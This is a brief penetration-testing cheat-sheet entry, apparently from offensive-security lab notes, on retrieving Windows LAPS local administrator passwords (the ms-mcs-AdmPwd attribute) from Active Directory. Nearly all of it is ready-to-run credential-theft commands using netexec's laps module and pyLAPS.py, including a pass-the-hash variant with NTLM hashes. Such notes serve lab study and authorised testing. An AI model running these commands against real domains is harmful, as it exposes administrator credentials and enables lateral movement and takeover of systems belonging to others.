Get LAPS password
This is the ms-mcs-AdmPwd
If LAPS is enabled, try any of:
nxc ldap $target -u $user -p $password --kdcHost $target -M laps
python3 pyLAPS.py --action get -u '$user' -d 'butchy.offsec' -p '$password' --dc-ip $target
- pyLAPS.py can also get it using NTLM (
-p NTLM:NTLM)